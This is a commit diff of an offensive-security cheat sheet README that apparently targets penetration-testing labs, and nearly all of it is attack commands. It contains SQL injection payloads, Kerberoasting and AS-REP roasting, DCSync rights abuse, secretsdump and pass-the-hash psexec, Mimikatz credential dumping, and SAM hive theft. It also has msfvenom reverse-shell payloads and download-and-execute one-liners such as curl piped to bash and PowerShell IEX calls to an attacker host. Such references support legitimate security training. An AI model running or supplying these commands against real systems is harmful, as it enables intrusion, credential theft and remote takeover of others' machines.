kqjy/Offensive-Security-Cheat-Sheet
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Update README.md

Browse Source
This commit is contained in:
Joe Totes
2022-10-26 12:34:53 -04:00
committed by GitHub
parent c42ab4f1c6
commit 88d7ed8451
1 changed files with 79 additions and 145 deletions
Download Patch File Download Diff File Expand all files Collapse all files

224
README.md
View File

@@ -645,17 +645,11 @@ hydra -f -t 16 -L {user.txt} -P {pass.txt} rdp://{RHOST}
```bash ```bash
# Remote Connect # Remote Connect
evil-winrm -i {IP ADDRESS} -u {USERNAME} -p {PASSWORD} evil-winrm -i {RHOST} -u {USER} -p {PASS}
# Upload/Download a File from client => server in current directory # Upload/Download a File from client => server in current directory
upload {FILE.exe} upload {FILE.exe}
download {FILE.exe} download {FILE.exe}
# Note: Requires credentials
# {IP ADDRESS}: IP Address of the Server
# {USERNAME}: User Authentication
# {PASSWORD}: Password Authentication
# {FILE.exe}: File to be uploaded from client machine
``` ```
@@ -762,13 +756,32 @@ admin") or "1"="1"--
admin") or "1"="1"# admin") or "1"="1"#
admin") or "1"="1"/* admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
MYSQL
' order by 1/*
' order by 2/*
' order by 3/*
' order by 4/*
' order by 1-- -
' order by 2-- -
' order by 3-- -
' order by 4-- -
' union all select 1,2,3-- -
MSSQL
' order by 1--
' order by 2--
' order by 3--
' order by 4--
' union all select NULL,NULL,NULL--
``` ```
#### ORACLE:
[https://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html](https://www.securityidiots.com/Web-Pentest/SQL-Injection/Union-based-Oracle-Injection.html)
<br /> <br />
# Active Directory # Active Directory
@@ -790,16 +803,16 @@ net user
net user /domain net user /domain
# Enumerate information about user # Enumerate information about user
net user {USERNAME} /domain net user {USER} /domain
# Enumerate all groups in domain # Enumerate all groups in domain
net group /domain net group /domain
# Add user # Add user
net user {USERNAME} {PASSWORD} /add /domain net user {USER} {PASS} /add /domain
# Add user to group # Add user to group
net group "{GROUP}" {USERNAME} /add net group "{GROUP}" {USER} /add
# MimiKatz Cred Dump Pass the Hash # MimiKatz Cred Dump Pass the Hash
sekurlsa::logonpasswords sekurlsa::logonpasswords
@@ -810,35 +823,36 @@ IEX (New-Object System.Net.Webclient).DownloadString("http://{IP ADDRESS}/Invoke
crackmapexec smb {LHOST} -u {user.txt} -H {hash.txt} crackmapexec smb {LHOST} -u {user.txt} -H {hash.txt}
# Rubeus Overpass the hash # Rubeus Overpass the hash
rubeus.exe asktgt /domain:{DOMAIN}/user:{USER} /rc4:{NT HASH} /ptt rubeus.exe asktgt /domain:{DOMAIN}/user:{USER} /rc4:{HASH} /ptt
klist klist
# Kerbrute Brute Force # Kerbrute Brute Force
sudo /opt/kerbrute/kerbrute userenum -d {DOMAIN} --dc {IP ADDRESS} /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt sudo /opt/kerbrute/kerbrute userenum -d {DOMAIN} --dc {RHOST} /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
sudo /opt/kerbrute/kerbrute passwordspray -d {DOMAIN} --dc {IP ADDRESS} {user.txt} {passwords.txt} sudo /opt/kerbrute/kerbrute passwordspray -d {DOMAIN} --dc {RHOST} {user.txt} {passwords.txt}
sudo /opt/kerbrute/kerbrute bruteuser -d {DOMAIN} --dc {IP ADDRESS} /usr/share/wordlists/rockyou.txt {USER} sudo /opt/kerbrute/kerbrute bruteuser -d {DOMAIN} --dc {RHOST} /usr/share/wordlists/rockyou.txt {USER}
# Get active directory users # Get active directory users
python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all {DOMAIN}/{USERNAME}:{PASSWORD} -dc-ip {IP ADDRESS} python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all {DOMAIN}/{USER}:{PASS} -dc-ip {RHOST}
python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all -hashes {HASH}:{HASH} {DOMAIN}/{USERNAME} -dc-ip {IP ADDRESS} python3 /usr/share/doc/python3-impacket/examples/GetADUsers.py -all -hashes {HASH}:{HASH} {DOMAIN}/{USER} -dc-ip {RHOST}
# Kerberoast - Get user SPN # Kerberoast - Get user SPN
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request {DOMAIN}/{USERNAME}:{PASSWORD} -dc-ip {IP ADDRESS} -outputfile hashes.kerberoast python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request {DOMAIN}/{USER}:{PASS} -dc-ip {RHOST} -outputfile hashes.kerberoast
python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request -hashes {HASH}:{HASH} {DOMAIN}/{USERNAME} -dc-ip {DC IP} -outputfile hashes.kerberoast python3 /usr/share/doc/python3-impacket/examples/GetUserSPNs.py -request -hashes {HASH}:{HASH} {DOMAIN}/{USER} -dc-ip {RHOST} -outputfile hashes.kerberoast
hashcat -m 13100 {HASH} /usr/share/wordlists/rockyou.txt -O --force hashcat -m 13100 {HASH} /usr/share/wordlists/rockyou.txt -O --force
hashcat -m 13100 {HASH} /usr/share/wordlists/rockyou.txt -O --force --show
# ASREP ROAST # ASREP ROAST
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -request {DOMAIN}/ -dc-ip {IP ADDRESS} -format john python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py -request {DOMAIN}/ -dc-ip {RHOST} -format john
python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py {DOMAIN}/ -dc-ip {IP ADDRESS} -usersfile {USER.txt} -format john python3 /usr/share/doc/python3-impacket/examples/GetNPUsers.py {DOMAIN}/ -dc-ip {RHOST} -usersfile {user.txt} -format john
# Request the TGT with hash, AES key, or password # Request the TGT with hash, AES key, or password
python3 /usr/share/doc/python3-impacket/examples/getTGT.py {DOMAIN}/{USERNAME} -hashes {LM HASH}:{NTLM HASH} python3 /usr/share/doc/python3-impacket/examples/getTGT.py {DOMAIN}/{USER} -hashes {HASH}:{HASH}
python3 /usr/share/doc/python3-impacket/examples/getTGT.py {DOMAIN}/{USERNAME} -aesKey {AES KEY} python3 /usr/share/doc/python3-impacket/examples/getTGT.py {DOMAIN}/{USER} -aesKey {AES KEY}
python3 /usr/share/doc/python3-impacket/examples/getTGT.py {DOMAIN}/{USERNAME}:{PASSWORD} python3 /usr/share/doc/python3-impacket/examples/getTGT.py {DOMAIN}/{USER}:{PASS}
# Kerberos PAC enabled # Kerberos PAC enabled
python3 /usr/share/doc/python3-impacket/examples/goldenPac.py {DOMAIN}/{USER}@{FULL DOMAIN} -dc-ip {IP ADDRESS} -target-ip {IP ADDRESS} python3 /usr/share/doc/python3-impacket/examples/goldenPac.py {DOMAIN}/{USER}@{FULL DOMAIN} -dc-ip {RHOST} -target-ip {RHOST}
# Bloodhound # Bloodhound
sudo neo4j console # LHOST sudo neo4j console # LHOST
@@ -846,24 +860,23 @@ sudo neo4j console # LHOST
/opt/bloodhound/BloodHound --no-sandbox # LHOST /opt/bloodhound/BloodHound --no-sandbox # LHOST
# Bloodhound python remote access # Bloodhound python remote access
sudo python3 /opt/BloodHound.py/bloodhound.py -u '{USERNAME}' -p '{PASSWORD}' -ns {IP ADDRESS} -d {DOMAIN} -c all sudo python3 /opt/BloodHound.py/bloodhound.py -u '{USER}' -p '{PASS}' -ns {RHOST} -d {DOMAIN} -c all
# Powerview example # Powerview example
powershell -ExecutionPolicy Bypass powershell -ExecutionPolicy Bypass
IEX(New-Object Net.WebClient).downloadstring("http://{IP ADDRESS}/PowerView.ps1") IEX(New-Object Net.WebClient).downloadstring("http://{RHOST}/PowerView.ps1")
$pass = convertto-securestring '{PASSWORD}' -AsPlainText -Force $pass = convertto-securestring '{PASS}' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('{DOMAIN}\{USERNAME}', $pass) $cred = New-Object System.Management.Automation.PSCredential('{DOMAIN}\{USER}', $pass)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC={DOMAIN1},DC={DOMAIN2}" -PrincipalIdentity {USERNAME} -Rights DCSync Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC={DOMAIN1},DC={DOMAIN2}" -PrincipalIdentity {USER} -Rights DCSync
# Dump secrets # Dump secrets
sudo python3 /usr/share/doc/python3-impacket/examples/secretsdump.py '{DOMAIN}/{USERNAME}':'{PASSWORD}'@{IP ADDRESS} sudo python3 /usr/share/doc/python3-impacket/examples/secretsdump.py '{DOMAIN}/{USER}':'{PASS}'@{RHOST}
# PSEXEC # PSEXEC
sudo python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes {HASH1:HASH2} {USERNAME}@{IP ADDRESS} sudo python3 /usr/share/doc/python3-impacket/examples/psexec.py -hashes {HASH:HASH} {USER}@{RHOST}
sudo python3 /usr/share/doc/python3-impacket/examples/psexec.py {USERNAME}:{PASSWORD}@{IP ADDRESS} sudo python3 /usr/share/doc/python3-impacket/examples/psexec.py {USER}:{PASS}@{RHOST}
``` ```
<br /> <br />
# Buffer Overflow # Buffer Overflow
@@ -883,8 +896,8 @@ sudo python3 /usr/share/doc/python3-impacket/examples/psexec.py {USERNAME}:{PASS
!mona config -set workingfolder c:\mona\%p !mona config -set workingfolder c:\mona\%p
# Update IP Address and Port in fuzzing.py and exploit.py # Update IP Address and Port in fuzzing.py and exploit.py
ip = {IP ADDRESS TARGET} ip = {RHOST}
port = {PORT TARGET} port = {RPORT}
# Fuzz application using a script # Fuzz application using a script
python3 fuzzing.py python3 fuzzing.py
@@ -910,13 +923,13 @@ python3 badchar.py
# Exploit and compare against the Mona bytearray until no bad chars are left # Exploit and compare against the Mona bytearray until no bad chars are left
python3 exploit.py python3 exploit.py
!mona compare -f C:\mona\appname\bytearray.bin -a <address> !mona compare -f C:\mona\appname\bytearray.bin -a {ADDRESS}
# Find the Jump Point # Find the Jump Point
!mona jmp -r esp -cpb "{BAD CHAR LIST}" !mona jmp -r esp -cpb "{BAD CHAR LIST}"
# Generate Payload # Generate Payload
msfvenom -p windows/shell_reverse_tcp LHOST={IP ADDRESS} LPORT={PORT} EXITFUNC=thread -b "{BAD CHAR LIST}" -f c msfvenom -p windows/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} EXITFUNC=thread -b "{BAD CHAR LIST}" -f c
# Update exploit.py with address, payload, and padding # Update exploit.py with address, payload, and padding
retn = {Reverse jump address including \x} retn = {Reverse jump address including \x}
@@ -924,7 +937,7 @@ payload = {Payload from msfvenom ("PAYLOAD")}
padding = "\x90" * 16 padding = "\x90" * 16
# Start NC on msfvenom IP and Port and exploit # Start NC on msfvenom IP and Port and exploit
sudo nc -lnvp {PORT} sudo nc -lnvp {LPORT}
python3 exploit.py python3 exploit.py
``` ```
@@ -1027,7 +1040,7 @@ python3 exploit.py
# Check user and groups # Check user and groups
whoami whoami
whoami /all whoami /all
net user {USERNAME} net user {USER}
# Check UAC level # Check UAC level
whoami /groups whoami /groups
@@ -1105,7 +1118,7 @@ reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
# On Kali, we can use the winexe command to spawn a shell using these credentials # On Kali, we can use the winexe command to spawn a shell using these credentials
winexe -U '{USER}%{PASSWORD}' //{IP ADDRESS} cmd.exe winexe -U '{USER}%{PASS}' //{RHOST} cmd.exe
######################################################################### #########################################################################
@@ -1122,7 +1135,7 @@ cmdkey /list
C:\PrivEsc\savecred.bat C:\PrivEsc\savecred.bat
# We can use the saved credential to run any command as the admin user # We can use the saved credential to run any command as the admin user
runas /savecred /user:admin C:\PrivEsc\reverse.exe runas /savecred /user:{admin} {C:\PrivEsc\reverse.exe}
######################################################################### #########################################################################
#### 3. Credentials from configuration files ############################ #### 3. Credentials from configuration files ############################
@@ -1145,7 +1158,7 @@ findstr /si password *.xml *.ini *.txt
.\winPEASany.exe quiet cmd searchfast filesinfo .\winPEASany.exe quiet cmd searchfast filesinfo
# Copy the files back to Kali # Copy the files back to Kali
copy C:\Windows\Repair\SAM \\{IP ADDRESS}\tools\ copy C:\Windows\Repair\SAM \\{LHOST}\share\
# Download the latest version of the creddump suite # Download the latest version of the creddump suite
git clone https://github.com/Neohapsis/creddump7.git git clone https://github.com/Neohapsis/creddump7.git
@@ -1174,7 +1187,7 @@ pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc
systeminfo systeminfo
# Pipe system information over to client # Pipe system information over to client
systeminfo > \\{Client IP ADDRESS}\systeminfo.txt systeminfo > \\{LHOST}\share\systeminfo.txt
# Use Windows exploit suggestor to find availble kernel exploit # Use Windows exploit suggestor to find availble kernel exploit
python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less
@@ -1196,7 +1209,7 @@ python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less
.\winPEASany.exe quiet servicesinfo .\winPEASany.exe quiet servicesinfo
# Verify permissions of a service using accesschk # Verify permissions of a service using accesschk
.\accesschk.exe /accepteula -uwcqv user {SERVICE} .\accesschk.exe /accepteula -uwcqv {USER} {SERVICE}
# Query the configuration of a service: # Query the configuration of a service:
sc.exe qc {SERVICE} sc.exe qc {SERVICE}
@@ -1218,7 +1231,7 @@ net start {SERVICE}
.\winPEASany.exe quiet servicesinfo .\winPEASany.exe quiet servicesinfo
# Verify permissions of to start service using accesschk # Verify permissions of to start service using accesschk
.\accesschk.exe /accepteula -uwcqv user {SERVICE} .\accesschk.exe /accepteula -uwcqv {USER} {SERVICE}
# Verify permissions of to write using accesschk # Verify permissions of to write using accesschk
.\accesschk.exe /accepteula -uwdq "C:\Program Files\UnquotedPath Service\" .\accesschk.exe /accepteula -uwdq "C:\Program Files\UnquotedPath Service\"
@@ -1385,30 +1398,6 @@ echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
<br /> <br />
```bash
# Windows Enumeration Commands
# Eumerate privileges
whoami /all
# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
# List All Users in a Domain
Import-Module ActiveDirectory; Get-ADUser -Identity <username> - properties *
# List All Users in a Group
Import-Module ActiveDirectory; Get-ADPrincipalGroupMembership <username> | select Administrator
```
<br />
## Linux ## Linux
<br /> <br />
@@ -1504,7 +1493,7 @@ pass pass123
```bash ```bash
# Local # Local
sudo ssh -N -L 80:127.0.0.1:80 {USER}@{IP ADDRESS} -p {PORT} sudo ssh -N -L 80:127.0.0.1:80 {USER}@{RHOST} -p {RPORT}
# Remote # Remote
ssh -N -R {LHOST}:{LPORT}:127.0.0.1:{RPORT} kali@{LHOST} ssh -N -R {LHOST}:{LPORT}:127.0.0.1:{RPORT} kali@{LHOST}
@@ -1541,14 +1530,14 @@ sudo NMAP -sT -Pn -n {FIREWALLED RHOST}
<br /> <br />
```bash [https://hashcat.net/wiki/doku.php?id=example_hashes](https://hashcat.net/wiki/doku.php?id=example_hashes)
```bash
# Search for correct hashcat number # Search for correct hashcat number
hashcat --example-hashes | grep -B5 {HASH IDENTIFIER} hashcat --example-hashes | grep -B5 {HASH IDENTIFIER}
# Crack Hash # Crack Hash
hashcat -m {HASH NUMBER} {HASH} /usr/share/wordlists/rockyou.txt -O --force hashcat -m {HASH NUMBER} {HASH} /usr/share/wordlists/rockyou.txt -O --force
``` ```
<br /> <br />
@@ -1625,31 +1614,6 @@ dummy, crypt
<br /> <br />
#### FFUF
<br />
```bash
# FFUF
# About: A tool used to brute force web credentials
# Download: Pre-installed on Kali Linux
# Usage - One variable FUZZ
ffuf -c -request {FILE.req} -request-proto http -w /usr/share/seclists/Passwords/probable-v2-top1575.txt -fs {SIZE}
# Two Variable FUZZ
ffuf -c -request {FILE.req} -request-proto http -mode clusterbomb -w {user.txt}:HFUZZ -w /usr/share/seclists/Passwords/probable-v2-top1575.txt:WFUZZ -fs {SIZE}
# EXAMPLE {FILE}
username=admin$password=FUZZ
username=WFUZZ$password=HFUZZ
# Medusa
medusa -f -h {IP ADDRESS} -u {USER} -P /usr/share/wordlists/rockyou.txt -M http -m DIR:/{DIR}
```
<br />
# Payload File Transfer # Payload File Transfer
@@ -1665,7 +1629,7 @@ medusa -f -h {IP ADDRESS} -u {USER} -P /usr/share/wordlists/rockyou.txt -M http
# Download: Pre-installed on Kali Linux # Download: Pre-installed on Kali Linux
# Python Server # Python Server
sudo python3 -m http.server {PORT} sudo python3 -m http.server {LPORT}
# Apache2 Server: var/www/html # Apache2 Server: var/www/html
sudo systemctl start apache2 sudo systemctl start apache2
@@ -1675,8 +1639,6 @@ sudo service pure-ftpd
# SMB SHARE # SMB SHARE
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share ./ -smb2support sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share ./ -smb2support
# {PORT}: Port to open for file transfer
``` ```
<br /> <br />
@@ -1690,33 +1652,30 @@ sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py share ./ -smb
# Download: Pre-installed on Kali Linux # Download: Pre-installed on Kali Linux
# Usage - Download on server machine # Usage - Download on server machine
wget {IP ADDRESS}/{FILE} -outfile {FILE} wget {LHOST}/{FILE} -outfile {FILE}
curl {IP ADDRESS}/{FILE} curl {LHOST}/{FILE}
# Linux - Download file and execute in bash: # Linux - Download file and execute in bash:
curl {IP ADDRESS}/{FILE.sh} | bash curl {LHOST}/{FILE.sh} | bash
# Windows - Download file using certutil # Windows - Download file using certutil
certutil -split -f -urlcache http://{IP ADDRESS}/{FILE} certutil -split -f -urlcache http://{LHOST}/{FILE}
# Windows - Download file using powershell # Windows - Download file using powershell
IEX(new-object System.Net.WebClient).DownloadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}') IEX(new-object System.Net.WebClient).DownloadFile('http://{LHOST}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')
IEX(new-object System.Net.WebClient).UploadFile('http://{IP ADDRESS}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}') IEX(new-object System.Net.WebClient).UploadFile('http://{LHOST}/{FILE.exe}','C:\Users\{USER}\{FILE.exe}')
# Windows - Load a string file and execute in powershell: # Windows - Load a string file and execute in powershell:
IEX(New-Object Net.WebClient).downloadstring("http://{IP ADDRESS}/{FILE}") IEX(New-Object Net.WebClient).downloadstring("http://{LHOST}/{FILE.ps1}")
Invoke-AllChecks Invoke-AllChecks
# SMB SHARE UPLOAD FILE # SMB SHARE UPLOAD FILE
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth /t REG_DWORD /d 1 /f REG ADD HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters /v AllowInsecureGuestAuth /t REG_DWORD /d 1 /f
copy \\{IP ADDRESS}\share\{FILE} copy \\{LHOST}\share\{FILE}
# SMB SHARE DOWNLAOD FILE # SMB SHARE DOWNLOAD FILE
net use z: \\{IP ADDRESS}\share net use z: \\{LHOST}\share
copy {FILE} z: copy {FILE} z:
# {IP ADDRESS}: IP Address of the client from step one
# {FILE}: The payload to be transferred
``` ```
<br /> <br />
@@ -1738,7 +1697,7 @@ copy {FILE} z:
# Download: Pre-installed on Kali Linux # Download: Pre-installed on Kali Linux
# Usage # Usage
sudo nc -lnvp {PORT} sudo nc -lnvp {RPORT}
# {PORT}: Select the port used to listen # {PORT}: Select the port used to listen
``` ```
@@ -1765,7 +1724,7 @@ msfvenom -p cmd/windows/reverse_powershell LHOST={LHOST} LPORT=4444 > run.bat
# Linux # Linux
msfvenom -p linux/x86/shell_reverse_tcp LHOST={LHOST} LPORT=4444 -f elf > x86.elf msfvenom -p linux/x86/shell_reverse_tcp LHOST={LHOST} LPORT=4444 -f elf > x86.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT=4444 -f elf > x66.elf msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT=4444 -f elf > x64.elf
# Web # Web
msfvenom -p windows/x64/shell_reverse_tcp LHOST={LHOST} LPORT=4444 -f asp > shell.asp msfvenom -p windows/x64/shell_reverse_tcp LHOST={LHOST} LPORT=4444 -f asp > shell.asp
@@ -1839,34 +1798,9 @@ Framework Transform Formats [--format <value>]
sh sh
vbapplication vbapplication
vbscript vbscript
# {IP ADDRESS}: IP Address of the client from step one (listener)
# {PORT}: Port of the client from step one (listener)
``` ```
<br /> <br />
#### Impacket Remote Code Execution
```bash
# atexec.py : Atexec.py: Impacket has a python library that helps an attacker to access the victim host machine remotely through DCE/RPC based protocol used by CIFS hosts to access/control the AT-Scheduler Service and execute the arbitrary system command.
# PsExec.py : PSEXEC like functionality example using RemComSvc, with the help of python script we can use this module for connecting host machine
# netview.py : It is an enumeration tool. It requires the domain name to enumerate hosts. It can also be provided with a list of hosts or targets
# Smbexec.py : Smbexec.py uses a similar approach to psexec w/o using RemComSvc
# wmiexec.py : A similar approach to smbexec but executing commands through WMI. The main advantage here is it runs under the user (has to be Admin) account, not SYSTEM, plus, it doesn’t generate noisy messages in the event log that smbexec.py does when creating a service.
# Usage
/usr/share/doc/python3-impacket/examples/{IMPACKET.py} {USERNAME}:{PASSWORD}@{IP ADDRESS}
# {USERNAME}: Valid Windows username
# {PASSWORD}: Valid Windows password
# {IP ADDRESS}: Server IP address
```
# Shell Upgrade # Shell Upgrade
<br /> <br />